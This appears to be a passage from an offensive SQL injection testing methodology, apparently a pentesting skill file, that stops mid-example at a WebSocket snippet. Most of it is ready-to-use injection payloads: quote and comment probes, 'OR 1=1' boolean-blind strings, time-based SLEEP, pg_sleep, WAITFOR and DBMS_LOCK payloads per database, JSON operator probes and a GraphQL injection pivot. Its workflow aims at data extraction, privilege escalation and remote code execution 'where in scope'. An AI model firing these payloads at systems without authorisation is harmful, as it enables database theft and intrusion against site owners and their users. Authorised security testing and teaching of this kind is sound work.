offensive-sqli

# SQL Injection — Offensive Testing Methodology ## Quick Workflow 1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages) 2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error 3. Identify database type and enumerate schema 4. Exploit to extract data, escalate privileges, or achieve RCE where in scope 5. Document findings and suggest remediation --- ## Detection ### Basic Probes — All Input Vectors ``` ' " ; -- /* */ # ) ( + , \ % ' OR '1'='1 " OR "1"="1 SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ### Error-Based Detection Trigger syntax errors to reveal database type and query structure: ``` ' '' ` " "" , % \ ``` Look for: SQL syntax errors, DB version strings, table/column names leaked in responses. ### Boolean-Based Blind ```sql ' OR 1=1 -- ' OR 1=2 -- ' AND 1=1 -- ' AND 1=2 -- ``` Observe response size/content differences between true and false conditions. ### Time-Based Blind ```sql -- MySQL ' OR SLEEP(5) -- -- PostgreSQL ' OR pg_sleep(5) -- -- MSSQL ' WAITFOR DELAY '0:0:5' -- -- Oracle '; BEGIN DBMS_LOCK.SLEEP(5); END; -- ``` ### JSON Operator Probes ```sql -- MySQL id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1 -- PostgreSQL id=1 AND '{"a":1}'::jsonb ? 'a' ``` ### GraphQL → SQLi Pivot ``` {"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"} ``` ### WebSocket SQLi ```javascript const ws = new WebSocke...